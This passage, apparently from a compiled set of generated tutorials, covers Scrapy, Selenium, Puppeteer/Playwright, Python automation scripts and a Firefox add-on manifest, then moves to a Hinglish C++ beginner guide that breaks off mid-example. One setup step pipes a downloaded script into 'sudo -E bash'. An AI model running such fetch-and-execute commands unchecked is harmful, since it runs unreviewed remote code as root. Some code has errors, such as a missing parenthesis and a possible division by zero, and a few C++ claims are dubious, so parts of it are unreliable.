            'Accept': 'text/html,application/xhtml+xml,application/xml',
            'Accept-Language': 'en-US,en;q=0.9',
        }
        for url in self.start_urls:
            yield scrapy.Request(url, headers=headers, callback=self.parse, errback=self.errback)

    def parse(self, response):
        """Parse category page"""
        # Extract product links
        product_links = response.css('a.product-link::attr(href)').getall()
        for link in product_links[:self.max_items]:
            yield response.follow(link, callback=self.parse_product)

        # Pagination
        next_page = response.css('a.next-page::attr(href)').get()
        if next_page and self.items_scraped < self.max_items:
            yield response.follow(next_page, callback=self.parse)

    def parse_product(self, response):
        """Parse individual product page"""
        loader = ItemLoader(item=ProductItem(), response=response)

        loader.add_css('name', 'h1.product-title::text')
        loader.add_css('price', '.price-amount::text')
        loader.add_css('rating', '.rating-value::text')
        loader.add_css('reviews', '.review-count::text')
        loader.add_css('availability', '.availability::text')
        loader.add_css('image_url', 'img.main-image::attr(src)')
        loader.add_value('product_url', response.url)
        loader.add_value('category', self.category)

        item = loader.load_item()
        self.items_scraped += 1
        yield item

    def errback(self, failure):
        self.logger.error(f"Request failed: {failure}")
        with open('errors.log', 'a') as f:
            f.write(f"{failure.request.url}\n")

    def spider_closed(self, spider):
        self.logger.info(f"Spider closed. Scraped {self.items_scraped} items")

# pipelines.py - Data processing
class DuplicatesPipeline:
    def __init__(self):
        self.ids_seen = set()

    def process_item(self, item, spider):
        if item['product_url'] in self.ids_seen:
            raise DropItem(f"Duplicate item found: {item['product_url']}")
        else:
            self.ids_seen.add(item['product_url'])
            return item

class DataCleanPipeline:
    def process_item(self, item, spider):
```

```
        # Clean price
        if item.get('price'):
            price = item['price'].strip().replace('$', '').replace(',', '')
            try:
                item['price'] = float(price)
            except:
                item['price'] = 0

        # Clean rating
        if item.get('rating'):
            rating = item['rating'].strip().split('/')[0]
            try:
                item['rating'] = float(rating)
            except:
                item['rating'] = 0

        return item
```

3. SELENIUM WEB AUTOMATION

>> Selenium Setup

WHAT:

Selenium WebDriver installation

COMMANDS:

```
# Install Selenium
pip install selenium
# Download ChromeDriver
wget https://storage.googleapis.com/chrome-for-testing-public/latest/linux64/chromedriver-linux64.zip
unzip chromedriver-linux64.zip
sudo mv chromedriver /usr/local/bin/
# Download GeckoDriver for Firefox
wget https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz
tar -xzf geckodriver-v0.34.0-linux64.tar.gz
sudo mv geckodriver /usr/local/bin/
# Verify installation
chromedriver --version
geckodriver --version
```

>> Complete Selenium Automation

WHAT:

Complete Selenium automation script for web scraping and testing

CODE:

```
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import time
import json
import logging

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

class WebAutomator:
    """Complete web automation class with Selenium"""
    def __init__(self, headless=False, driver_type='chrome'):
        self.driver = self._setup_driver(headless, driver_type)
        self.wait = WebDriverWait(self.driver, 10)
        logger.info(f"Driver initialized: {driver_type}")

    def _setup_driver(self, headless, driver_type):
        if driver_type == 'chrome':
            options = webdriver.ChromeOptions()
            if headless:
                options.add_argument('--headless')
            options.add_argument('--no-sandbox')
            options.add_argument('--disable-dev-shm-usage')
            options.add_argument('--disable-gpu')
            options.add_argument('--window-size=1920,1080')
            options.add_argument('--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
            return webdriver.Chrome(options=options)
        else:
            options = webdriver.FirefoxOptions()
            if headless:
                options.add_argument('--headless')
            return webdriver.Firefox(options=options)
```

```python
    def navigate(self, url):
        """Navigate to URL"""
        logger.info(f"Navigating to: {url}")
        self.driver.get(url)

    def find_element(self, by, value, timeout=10):
        """Find single element with wait"""
        try:
            element = WebDriverWait(self.driver, timeout).until(
                EC.presence_of_element_located((by, value))
            )
            return element
        except TimeoutException:
            logger.error(f"Element not found: {by}={value}")
            return None

    def find_elements(self, by, value, timeout=10):
        """Find multiple elements"""
        try:
            WebDriverWait(self.driver, timeout).until(
                EC.presence_of_element_located((by, value))
            )
            return self.driver.find_elements(by, value)
        except TimeoutException:
            return []

    def click(self, by, value, timeout=10):
        """Click element"""
        element = self.find_element(by, value, timeout)
        if element:
            self.driver.execute_script("arguments[0].click();", element)
            logger.info(f"Clicked: {by}={value}")
            return True
        return False

    def type_text(self, by, value, text, clear=True):
        """Type text into input field"""
        element = self.find_element(by, value)
        if element:
            if clear:
                element.clear()
            element.send_keys(text)
            logger.info(f"Typed: {text}")
            return True
        return False

    def get_text(self, by, value):
        """Get text from element"""
        element = self.find_element(by, value)
        return element.text if element else None

    def scroll_to_element(self, element):
        """Scroll to element"""
        self.driver.execute_script("arguments[0].scrollIntoView();", element)

    def scroll_to_bottom(self):
        """Scroll page to bottom"""
        self.driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")

    def take_screenshot(self, filename='screenshot.png'):
        """Take screenshot"""
        self.driver.save_screenshot(filename)
        logger.info(f"Screenshot saved: {filename}")

    def execute_script(self, script, *args):
```

```
        """Execute JavaScript"""
        return self.driver.execute_script(script, *args)

    def wait_for_page_load(self, timeout=30):
        """Wait for page to load"""
        WebDriverWait(self.driver, timeout).until(
            lambda d: d.execute_script("return document.readyState") == "complete"
        )

    def scrape_infinite_scroll(self, scroll_pause=2, max_scrolls=20):
        """Scrape infinite scroll page"""
        items = []
        last_height = self.driver.execute_script("return document.body.scrollHeight")

        for scroll in range(max_scrolls):
            # Scroll down
            self.driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
            time.sleep(scroll_pause)

            # Get items
            new_items = self.find_elements(By.CSS_SELECTOR, '.item-class')
            items.extend(new_items)

            # Check if we reached bottom
            new_height = self.driver.execute_script("return document.body.scrollHeight")
            if new_height == last_height:
                break
            last_height = new_height

        return items

    def login(self, url, username_selector, password_selector, username, password, submit_selector):
        """Auto login to website"""
        self.navigate(url)
        self.type_text(By.CSS_SELECTOR, username_selector, username)
        self.type_text(By.CSS_SELECTOR, password_selector, password)
        self.click(By.CSS_SELECTOR, submit_selector)
        time.sleep(2)
        return "login" not in self.driver.current_url

    def extract_table_data(self, table_selector):
        """Extract data from HTML table"""
        table = self.find_element(By.CSS_SELECTOR, table_selector)
        if not table:
            return []

        data = []
        rows = table.find_elements(By.TAG_NAME, 'tr')
        for row in rows:
            cells = row.find_elements(By.TAG_NAME, 'td')
            if cells:
                data.append([cell.text for cell in cells])
        return data

    def close(self):
        """Close browser"""
        self.driver.quit()
        logger.info("Browser closed")

# Usage Example
if __name__ == "__main__":
    automator = WebAutomator(headless=False)
    try:
        automator.navigate("https://example.com")
        title = automator.get_text(By.TAG_NAME, "h1")
        print(f"Page title: {title}")
```

```
        automator.take_screenshot("homepage.png")
    finally:
        automator.close()
```

4. PUPPETEER / PLAYWRIGHT (NODE.JS)

>> Puppeteer Setup

WHAT:

Puppeteer installation and setup

COMMANDS:

```
# Install Node.js
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y
# Create project
mkdir puppeteer-scraper
cd puppeteer-scraper
npm init -y
# Install puppeteer
npm install puppeteer
# Install playwright
npm install playwright
npx playwright install
```

>> Puppeteer Script

WHAT:

Complete Puppeteer automation script

CODE:

```
const puppeteer = require('puppeteer');
const fs = require('fs');
const path = require('path');

class WebScraper {
    constructor(headless = true) {
        this.headless = headless;
        this.browser = null;
        this.page = null;
    }

    async init() {
        this.browser = await puppeteer.launch({
            headless: this.headless,
            args: ['--no-sandbox', '--disable-setuid-sandbox'],
            defaultViewport: { width: 1920, height: 1080 }
        });
        this.page = await this.browser.newPage();
        await this.page.setUserAgent('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        console.log('Browser launched');
    }

    async navigate(url, options = {}) {
        console.log(`Navigating to: ${url}`);
        await this.page.goto(url, { waitUntil: 'networkidle2', ...options });
    }

    async waitForSelector(selector, timeout = 10000) {
        await this.page.waitForSelector(selector, { timeout });
    }

    async click(selector) {
        await this.page.click(selector);
        console.log(`Clicked: ${selector}`);
    }

    async type(selector, text, clear = true) {
```

```
    if (clear) {
        await this.page.click(selector, { clickCount: 3 });
        await this.page.keyboard.press('Backspace');
    }
    await this.page.type(selector, text);
    console.log(`Typed: ${text}`);
}

async getText(selector) {
    const element = await this.page.$(selector);
    return element ? await this.page.evaluate(el => el.textContent, element) : null;
}

async scrapeData(selector) {
    return await this.page.evaluate((sel) => {
        const elements = document.querySelectorAll(sel);
        return Array.from(elements).map(el => ({
            text: el.innerText,
            html: el.innerHTML,
            href: el.href || null
        }));
    }, selector);
}

async scrapeTable(selector) {
    return await this.page.evaluate((sel) => {
        const table = document.querySelector(sel);
        if (!table) return [];
        const rows = table.querySelectorAll('tr');
        return Array.from(rows).map(row => {
            const cells = row.querySelectorAll('td, th');
            return Array.from(cells).map(cell => cell.innerText);
        });
    }, selector);
}

async infiniteScroll(maxScrolls = 20, scrollDelay = 1000) {
    let previousHeight = await this.page.evaluate('document.body.scrollHeight');
    for (let i = 0; i < maxScrolls; i++) {
        await this.page.evaluate('window.scrollTo(0, document.body.scrollHeight)');
        await this.page.waitForTimeout(scrollDelay);
        const newHeight = await this.page.evaluate('document.body.scrollHeight');
        if (newHeight === previousHeight) break;
        previousHeight = newHeight;
    }
}

async screenshot(filename = 'screenshot.png') {
    await this.page.screenshot({ path: filename, fullPage: true });
    console.log(`Screenshot saved: ${filename}`);
}

async pdf(filename = 'page.pdf') {
    await this.page.pdf({ path: filename, format: 'A4' });
    console.log(`PDF saved: ${filename}`);
}

async interceptRequests() {
    await this.page.setRequestInterception(true);
    this.page.on('request', request => {
        if (request.resourceType() === 'image') {
            request.abort();
        } else {
            request.continue();
        }
    });
```

```
    }

    async authenticate(username, password) {
        await this.page.authenticate({ username, password });
    }

    async executeScript(script) {
        return await this.page.evaluate(script);
    }

    async close() {
        await this.browser.close();
        console.log('Browser closed');
    }
}

// Playwright version
const { chromium } = require('playwright');

class PlaywrightScraper {
    constructor() {
        this.browser = null;
        this.page = null;
    }

    async init() {
        this.browser = await chromium.launch({ headless: false });
        this.page = await this.browser.newPage();
        console.log('Playwright browser launched');
    }

    async navigate(url) {
        await this.page.goto(url);
    }

    async waitForSelector(selector) {
        await this.page.waitForSelector(selector);
    }

    async click(selector) {
        await this.page.click(selector);
    }

    async fill(selector, value) {
        await this.page.fill(selector, value);
    }

    async getText(selector) {
        return await this.page.textContent(selector);
    }

    async screenshot(filename) {
        await this.page.screenshot({ path: filename });
    }

    async close() {
        await this.browser.close();
    }
}

// Main execution
(async () => {
    const scraper = new WebScraper(false);
    await scraper.init();

    try {
```

```
        await scraper.navigate('https://example.com');
        const title = await scraper.getText('h1');
        console.log(`Title: ${title}`);
        await scraper.screenshot('example.png');

        const links = await scraper.scrapeData('a');
        console.log(`Found ${links.length} links`);
    } catch (error) {
        console.error('Error:', error);
    } finally {
        await scraper.close();
    }
})();
```

5. PYTHON AUTOMATION SCRIPTS

>> Complete Automation Scripts

WHAT:

Python automation scripts for various tasks

CODE:

```
import os
import sys
import time
import shutil
import subprocess
import requests
from pathlib import Path
import schedule
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import logging

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

class SystemAutomator:
    """System automation scripts"""

    @staticmethod
    def organize_files(directory, extensions_map=None):
        """Organize files by extension"""
        if extensions_map is None:
            extensions_map = {
                'Images': ['.jpg', '.jpeg', '.png', '.gif', '.bmp'],
                'Documents': ['.pdf', '.doc', '.docx', '.txt', '.xlsx'],
                'Archives': ['.zip', '.tar', '.gz', '.rar'],
                'Code': ['.py', '.js', '.html', '.css', '.cpp'],
                'Media': ['.mp4', '.mp3', '.avi', '.mkv']
            }

        for file in Path(directory).iterdir():
            if file.is_file():
                moved = False
                for folder, extensions in extensions_map.items():
                    if file.suffix.lower() in extensions:
                        target_dir = Path(directory) / folder
                        target_dir.mkdir(exist_ok=True)
                        shutil.move(str(file), str(target_dir / file.name))
                        logger.info(f"Moved {file.name} to {folder}/")
                        moved = True
                        break
                if not moved:
                    other_dir = Path(directory) / 'Other'
                    other_dir.mkdir(exist_ok=True)
                    shutil.move(str(file), str(other_dir / file.name))

    @staticmethod
    def backup_folder(source, dest):
        """Backup folder with timestamp"""
        timestamp = time.strftime('%Y%m%d_%H%M%S')
        backup_name = f"backup_{timestamp}"
        backup_path = Path(dest) / backup_name
        shutil.copytree(source, backup_path)
        logger.info(f"Backup created: {backup_path}")
        return backup_path
```

```
    @staticmethod
    def cleanup_temp_files(days_old=7):
        """Clean old temporary files"""
        temp_dirs = ['/tmp', '/var/tmp', os.path.expanduser('~/.cache')]
        cutoff_time = time.time() - (days_old * 86400)

        for temp_dir in temp_dirs:
            if os.path.exists(temp_dir):
                for root, dirs, files in os.walk(temp_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        try:
                            if os.path.getmtime(file_path) < cutoff_time:
                                os.remove(file_path)
                                logger.info(f"Removed old file: {file_path}")
                        except Exception as e:
                            logger.error(f"Error removing {file_path}: {e}")

    @staticmethod
    def monitor_disk_usage(threshold=80):
        """Monitor disk usage and alert"""
        stat = shutil.disk_usage('/')
        percent = (stat.used / stat.total) * 100
        if percent > threshold:
            logger.warning(f"Disk usage critical: {percent:.1f}%"
            return False
        logger.info(f"Disk usage: {percent:.1f}%")
        return True

class WebAutomator:
    """Web automation scripts"""

    @staticmethod
    def download_file(url, dest_path):
        """Download file with progress"""
        response = requests.get(url, stream=True)
        total_size = int(response.headers.get('content-length', 0))
        block_size = 8192

        with open(dest_path, 'wb') as file:
            downloaded = 0
            for chunk in response.iter_content(chunk_size=block_size):
                if chunk:
                    file.write(chunk)
                    downloaded += len(chunk)
                    percent = (downloaded / total_size) * 100
                    print(f"\rDownloaded: {percent:.1f}%", end='')
        print(f"\nDownloaded to: {dest_path}")

    @staticmethod
    def check_website_status(urls):
        """Check multiple websites status"""
        results = {}
        for url in urls:
            try:
                response = requests.get(url, timeout=10)
                results[url] = {
                    'status': response.status_code,
                    'time': response.elapsed.total_seconds(),
                    'ok': response.ok
                }
            except Exception as e:
                results[url] = {'error': str(e), 'ok': False}
        return results

class EmailAutomator:
```

```python
    """Email automation"""
    def __init__(self, smtp_server, port, username, password):
        self.smtp_server = smtp_server
        self.port = port
        self.username = username
        self.password = password

    def send_email(self, to_email, subject, body, is_html=False):
        """Send email"""
        msg = MIMEMultipart()
        msg['From'] = self.username
        msg['To'] = to_email
        msg['Subject'] = subject

        if is_html:
            msg.attach(MIMEText(body, 'html'))
        else:
            msg.attach(MIMEText(body, 'plain'))

        try:
            server = smtplib.SMTP(self.smtp_server, self.port)
            server.starttls()
            server.login(self.username, self.password)
            server.send_message(msg)
            server.quit()
            logger.info(f"Email sent to {to_email}")
            return True
        except Exception as e:
            logger.error(f"Email failed: {e}")
            return False

class TaskScheduler:
    """Task scheduling automation"""
    def __init__(self):
        self.jobs = []

    def schedule_daily(self, time_str, func, *args):
        """Schedule daily task"""
        schedule.every().day.at(time_str).do(func, *args)
        self.jobs.append(f"Daily at {time_str}")
        logger.info(f"Scheduled daily at {time_str}")

    def schedule_hourly(self, func, *args):
        """Schedule hourly task"""
        schedule.every().hour.do(func, *args)
        self.jobs.append("Hourly")
        logger.info("Scheduled hourly")

    def run(self):
        """Run scheduler"""
        logger.info("Scheduler started")
        while True:
            schedule.run_pending()
            time.sleep(60)

# Example usage
if __name__ == "__main__":
    # System automation
    SystemAutomator.organize_files('/home/user/Downloads')
    SystemAutomator.monitor_disk_usage()

    # Web automation
    WebAutomator.download_file('https://example.com/file.zip', 'download.zip')

    # Schedule tasks
    scheduler = TaskScheduler()
```

```
scheduler.schedule_daily('09:00', SystemAutomator.monitor_disk_usage)
# scheduler.run()
```

6. FIREFOX ADD-ONS DEVELOPMENT

>> Firefox Extension Setup

WHAT:

Firefox add-on development setup

COMMANDS:

```
# Install web-ext for Firefox extension development
npm install --global web-ext
# Create extension folder
mkdir my-firefox-addon
cd my-firefox-addon
# Create manifest.json
touch manifest.json background.js popup.html popup.js
# Test extension
web-ext run
# Build extension
web-ext build
# Sign extension for distribution
web-ext sign --api-key=<your-api-key> --api-secret=<your-api-secret>
```

>> Firefox Extension Code

WHAT:

Firefox add-on manifest and code

CODE:

```
// manifest.json for Firefox
{
  "manifest_version": 2,
  "name": "My Firefox Add-on",
  "version": "1.0",
  "description": "A powerful Firefox extension",
  "permissions": [
    "<all_urls>",
    "activeTab",
    "storage",
    "tabs",
    "webRequest",
    "webRequestBlocking"
  ],
  "browser_action": {
    "default_title": "My Add-on",
    "default_popup": "popup.html",
    "default_icon": {
      "48": "icons/icon48.png"
    }
  },
  "background": {
    "scripts": ["background.js"]
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_end"
    }
  ],
  "options_ui": {
    "page": "options.html"
  }
}
```

C++ Complete Guide

Full C++ Programming - From Basics to Advanced

Generated: 22-March-2026

1. C++ INTRODUCTION AND SETUP

>> What is C++

WHAT:

C++ ek powerful, object-oriented programming language hai. Yeh C language ka extension hai jisme classes, objects, inheritance, polymorphism add kiye gaye. System software, games, operating systems, browsers sab C++ me bante hain.

FEATURES:

* Object-Oriented Programming (OOP) - Classes, Objects, Inheritance, Polymorphism
* Low-level memory manipulation - Pointers, references
* High performance - Direct hardware access, no garbage collector
* Standard Template Library (STL) - Reusable containers, algorithms
* Multi-paradigm - Procedural, OOP, Generic, Functional
* Platform Independent - Compile once, run anywhere with source code

---

>> Installation on Linux

WHAT:

C++ compiler (G++) install karna

COMMANDS:

```
# Check if g++ is installed
g++ --version
# Install g++ compiler on Ubuntu/Debian
sudo apt update
sudo apt install g++ build-essential -y
# Install g++ on CentOS/RHEL
sudo yum install gcc-c++ make -y
# Verify installation
g++ --version
whereis g++
# Install additional tools
sudo apt install gdb valgrind cmake -y
# GDB - Debugger
# Valgrind - Memory leak detector
# CMake - Build system
```

>> First C++ Program

WHAT:

Hello World program - C++ ka pehla program

CODE:

```
// File: hello.cpp
#include <iostream>  // Header for input/output
using namespace std;  // Use standard namespace

int main() {  // Main function - program starts here
    cout << "Hello, World!" << endl;  // Print to console
    return 0;  // Return success code
}

# Compile karna
g++ hello.cpp -o hello

# Run karna
./hello

# Output: Hello, World!
```

>> C++ vs Other Languages

WHAT:

C++ kyun use karte hain, kaha use hota hai

COMPARISON & USES:

C++ vs C: C++ me OOP, classes, exceptions, function overloading
C++ vs Java: C++ faster, manual memory management, no garbage collector
C++ vs Python: C++ faster, system-level control, game development

Uses of C++:
1. Operating Systems - Windows, Linux kernel parts
2. Game Development - Unreal Engine, Unity core
3. Browsers - Chrome, Firefox, Safari
4. Database Engines - MySQL, MongoDB, PostgreSQL
5. Embedded Systems - IoT devices, automotive
6. High-frequency Trading - Financial systems
7. Compilers and Interpreters

---

2. C++ BASICS - SYNTAX AND DATA TYPES

>> Variables and Data Types

WHAT:

C++ me variables aur data types - strongly typed language

EXAMPLES:

```
#include <iostream>
using namespace std;
int main() {
    // Integer types
    int age = 25;           // 4 bytes, -2B to 2B
    short year = 2024;      // 2 bytes
    long population = 7800000000L;  // 8 bytes
    long long bigNum = 100000000000LL;
    // Unsigned integers (only positive)
    unsigned int positive = 100;
    unsigned short small = 65535;
    // Floating point types
    float price = 99.99f;    // 4 bytes, f suffix
    double pi = 3.1415926535; // 8 bytes, default
    long double precise = 3.141592653589793238L;
    // Character types
    char grade = 'A';        // Single character
    wchar_t wide = L'\u00A9';  // Wide character
    // Boolean type
    bool isActive = true;
    bool hasLicense = false;
    // String (C++ style)
    string name = "Raj Kumar";
    // Constants
    const int MAX_SIZE = 100;
    const double PI = 3.14159;
    // Output
    cout << "Age: " << age << endl;
    cout << "Name: " << name << endl;
    cout << "Is Active: " << isActive << endl;
    return 0;
}
```

>> Variable Naming Rules

WHAT:

C++ me variables ke liye rules

RULES:

1. Letters (a-z, A-Z), digits (0-9), underscore (_) use kar sakte ho
2. Number se start nahi kar sakte
3. Spaces nahi use kar sakte
4. C++ keywords use nahi kar sakte
5. Case sensitive hai

Valid Examples:
int age = 25;
string student_name = "Raj";
double _salary = 50000;
int employeeId123 = 100;

Invalid Examples:
// int 1age = 25; // Number se start

```
// string my name = "Raj";  // Space hai
// int class = 10;    // Keyword use kiya
```

3. C++ OPERATORS

>> All Operators with Examples

WHAT:

C++ me sabhi operators aur unke examples

EXAMPLES:

```
#include <iostream>
using namespace std;
int main() {
    int a = 10, b = 3;
    // 1. Arithmetic Operators
    cout << "Arithmetic Operators:\n";
    cout << "a + b = " << a + b << endl;  // 13
    cout << "a - b = " << a - b << endl;  // 7
    cout << "a * b = " << a * b << endl;  // 30
    cout << "a / b = " << a / b << endl;  // 3 (integer division)
    cout << "a % b = " << a % b << endl;  // 1 (modulus)
    // 2. Increment/Decrement
    int x = 5;
    cout << "x++ = " << x++ << endl;  // 5 (post-increment)
    cout << "Now x = " << x << endl;    // 6
    cout << "++x = " << ++x << endl;  // 7 (pre-increment)
    // 3. Relational Operators
    cout << "\nRelational Operators:\n";
    cout << "(a == b) = " << (a == b) << endl;  // 0 (false)
    cout << "(a != b) = " << (a != b) << endl;  // 1 (true)
    cout << "(a > b) = " << (a > b) << endl;    // 1
    cout << "(a < b) = " << (a < b) << endl;    // 0
    cout << "(a >= b) = " << (a >= b) << endl;   // 1
    cout << "(a <= b) = " << (a <= b) << endl;   // 0
    // 4. Logical Operators
    bool p = true, q = false;
    cout << "\nLogical Operators:\n";
    cout << "(p && q) = " << (p && q) << endl;  // 0 (AND)
    cout << "(p || q) = " << (p || q) << endl;  // 1 (OR)
    cout << "(!p) = " << (!p) << endl;          // 0 (NOT)
    // 5. Bitwise Operators
    int m = 5;   // Binary: 0101
    int n = 3;   // Binary: 0011
    cout << "\nBitwise Operators:\n";
    cout << "(m & n) = " << (m & n) << endl;  // 1 (AND)
    cout << "(m | n) = " << (m | n) << endl;  // 7 (OR)
    cout << "(m ^ n) = " << (m ^ n) << endl;  // 6 (XOR)
    cout << "(~m) = " << (~m) << endl;        // -6 (NOT)
    cout << "(m << 1) = " << (m << 1) << endl;  // 10 (left shift)
    cout << "(m >> 1) = " << (m >> 1) << endl;  // 2 (right shift)
    // 6. Assignment Operators
    int z = 10;
    cout << "\nAssignment Operators:\n";
    z += 5;  cout << "z += 5: " << z << endl;  // 15
    z -= 3;  cout << "z -= 3: " << z << endl;  // 12
    z *= 2;  cout << "z *= 2: " << z << endl;  // 24
    z /= 4;  cout << "z /= 4: " << z << endl;  // 6
    z %= 2;  cout << "z %= 2: " << z << endl;  // 0
    // 7. Ternary Operator
    int age = 18;
    string status = (age >= 18) ? "Adult" : "Minor";
    cout << "\nTernary: " << status << endl;
    // 8. sizeof Operator
    cout << "\nsizeof Operators:\n";
    cout << "int: " << sizeof(int) << " bytes\n";
    cout << "double: " << sizeof(double) << " bytes\n";
    cout << "char: " << sizeof(char) << " bytes\n";
```

```
    return 0;
}
```

4. C++ CONTROL FLOW

>> If-Else Statements

WHAT:

Decision making in C++

EXAMPLES:

```
#include <iostream>
using namespace std;
int main() {
    // Simple if
    int age = 18;
    if (age >= 18) {
        cout << "You can vote" << endl;
    }
    // if-else
    int score = 75;
    if (score >= 60) {
        cout << "Pass" << endl;
    } else {
        cout << "Fail" << endl;
    }
    // if-else-if ladder
    int marks = 85;
    if (marks >= 90) {
        cout << "Grade A" << endl;
    } else if (marks >= 80) {
        cout << "Grade B" << endl;
    } else if (marks >= 70) {
        cout << "Grade C" << endl;
    } else if (marks >= 60) {
        cout << "Grade D" << endl;
    } else {
        cout << "Fail" << endl;
    }
    // Nested if
    int num = 15;
    if (num > 0) {
        if (num % 2 == 0) {
            cout << "Positive even" << endl;
        } else {
            cout << "Positive odd" << endl;
        }
    } else {
        cout << "Negative" << endl;
    }
    return 0;
}
```

>> Switch Statement

WHAT:

Multiple conditions ke liye switch-case

EXAMPLES:

```
#include <iostream>
using namespace std;
int main() {
    int day = 3;
    string dayName;
    switch (day) {
        case 1:
            dayName = "Monday";
```

```
            break;
        case 2:
            dayName = "Tuesday";
            break;
        case 3:
            dayName = "Wednesday";
            break;
        case 4:
            dayName = "Thursday";
            break;
        case 5:
            dayName = "Friday";
            break;
        default:
            dayName = "Weekend";
    }
    cout << "Day: " << dayName << endl;
    // Switch with char
    char grade = 'A';
    switch (grade) {
        case 'A':
            cout << "Excellent!" << endl;
            break;
        case 'B':
            cout << "Good!" << endl;
            break;
        default:
            cout << "Need improvement" << endl;
    }
    return 0;
}
```

>> Loops in C++

WHAT:

For, while, do-while loops

EXAMPLES:

```
#include <iostream>
using namespace std;
int main() {
    // 1. For Loop
    cout << "For Loop:" << endl;
    for (int i = 1; i <= 5; i++) {
        cout << "Count: " << i << endl;
    }
    // 2. While Loop
    cout << "\nWhile Loop:" << endl;
    int count = 1;
    while (count <= 5) {
        cout << "While: " << count << endl;
        count++;
    }
    // 3. Do-While Loop (executes at least once)
    cout << "\nDo-While Loop:" << endl;
    int num = 1;
    do {
        cout << "Do-While: " << num << endl;
        num++;
    } while (num <= 5);
    // 4. Nested Loops
    cout << "\nNested Loops (Multiplication Table):" << endl;
    for (int i = 1; i <= 5; i++) {
        for (int j = 1; j <= 5; j++) {
            cout << i * j << "\t";
        }
```

```
        cout << endl;
    }
    // 5. Break Statement
    cout << "\nBreak Example:" << endl;
    for (int i = 1; i <= 10; i++) {
        if (i == 5) {
            break;  // Stop at 5
        }
        cout << i << " ";
    }
    cout << endl;
    // 6. Continue Statement
    cout << "\nContinue Example:" << endl;
    for (int i = 1; i <= 5; i++) {
        if (i == 3) {
            continue;  // Skip 3
        }
        cout << i << " ";
    }
    cout << endl;
    return 0;
}
```

5. C++ FUNCTIONS

>> Function Declaration

WHAT:

C++ me functions kaise define aur call karte hain

EXAMPLES:

```
#include <iostream>
using namespace std;
// Function declaration (prototype)
int add(int a, int b);
double multiply(double x, double y);
void greet(string name);
// Function overloading
int add(int a, int b, int c);
double add(double a, double b);
int main() {
    // Call functions
    cout << "Sum: " << add(10, 20) << endl;
    cout << "Multiply: " << multiply(5.5, 2.5) << endl;
    greet("Raj");
    cout << "Sum 3 numbers: " << add(5, 10, 15) << endl;
    cout << "Double sum: " << add(3.5, 4.5) << endl;
    return 0;
}
// Function definition
int add(int a, int b) {
    return a + b;
}
double multiply(double x, double y) {
    return x * y;
}
void greet(string name) {
    cout << "Hello, " << name << "!" << endl;
}
int add(int a, int b, int c) {
    return a + b + c;
}
double add(double a, double b) {
    return a + b;
}
```

>> Function with Parameters

WHAT:

Pass by value, reference, pointer

EXAMPLES:

```
#include <iostream>
using namespace std;
// Pass by value (copy)
void changeValue(int x) {
    x = 100;  // Original variable unaffected
    cout << "Inside function: x = " << x << endl;
}
// Pass by reference (original changes)
void changeRef(int &x) {
    x = 100;  // Original variable changes
    cout << "Inside reference function: x = " << x << endl;
}
// Pass by pointer
void changePointer(int *x) {
    *x = 100;  // Change value at pointer address
```

```
    cout << "Inside pointer function: *x = " << *x << endl;
}
// Function with default parameters
void greet(string name = "Guest") {
    cout << "Hello, " << name << "!" << endl;
}
int main() {
    int num = 50;
    cout << "Original: " << num << endl;
    changeValue(num);
    cout << "After pass by value: " << num << endl;
    changeRef(num);
    cout << "After pass by reference: " << num << endl;
    num = 50;
    changePointer(&num);
    cout << "After pointer: " << num << endl;
    cout << "\nDefault Parameters:" << endl;
    greet();
    greet("Raj");
    return 0;
}
```

6. C++ CLASSES AND OBJECTS

>> Class Basics

WHAT:

C++ me classes aur objects kaise banayein

EXAMPLES:

```
#include <iostream>
#include <string>
using namespace std;
// Class definition
class Student {
private:  // Private members - only accessible inside class
    string name;
    int age;
    string rollNumber;
    double marks;
public:   // Public members - accessible from outside
    // Constructor
    Student(string n, int a, string roll, double m) {
        name = n;
        age = a;
        rollNumber = roll;
        marks = m;
        cout << "Student created: " << name << endl;
    }
    // Default constructor
    Student() {
        name = "Unknown";
        age = 0;
        marks = 0.0;
    }
    // Destructor
    ~Student() {
        cout << "Student destroyed: " << name << endl;
    }
    // Getter methods
    string getName() { return name; }
    int getAge() { return age; }
    double getMarks() { return marks; }
    // Setter methods
    void setName(string n) { name = n; }
    void setAge(int a) { age = a; }
    // Method to calculate grade
    char getGrade() {
        if (marks >= 90) return 'A';
        else if (marks >= 80) return 'B';
        else if (marks >= 70) return 'C';
        else if (marks >= 60) return 'D';
        else return 'F';
    }
    // Display student info
    void displayInfo() {
        cout << "\nStudent Information:" << endl;
        cout << "Name: " << name << endl;
        cout << "Age: " << age << endl;
        cout << "Roll No: " << rollNumber << endl;
        cout << "Marks: " << marks << endl;
        cout << "Grade: " << getGrade() << endl;
    }
};
int main() {
    // Create object
    Student student1("Raj Kumar", 20, "S001", 85.5);
```

```
    student1.displayInfo();
    // Create object with default constructor
    Student student2;
    student2.setName("Priya Sharma");
    student2.setAge(19);
    // Access methods
    cout << "\nStudent 2 Name: " << student2.getName() << endl;
    return 0;
}
```

7. C++ INHERITANCE

>> Inheritance Example

WHAT:

Parent-child class relationship - code reuse

EXAMPLES:

```
#include <iostream>
#include <string>
using namespace std;
// Base class (Parent)
class Animal {
protected:  // Accessible in derived classes
    string name;
    int age;
public:
    Animal(string n, int a) : name(n), age(a) {
        cout << "Animal created" << endl;
    }
    void eat() {
        cout << name << " is eating" << endl;
    }
    void sleep() {
        cout << name << " is sleeping" << endl;
    }
    void display() {
        cout << "Name: " << name << ", Age: " << age << endl;
    }
};
// Derived class (Child) - inherits from Animal
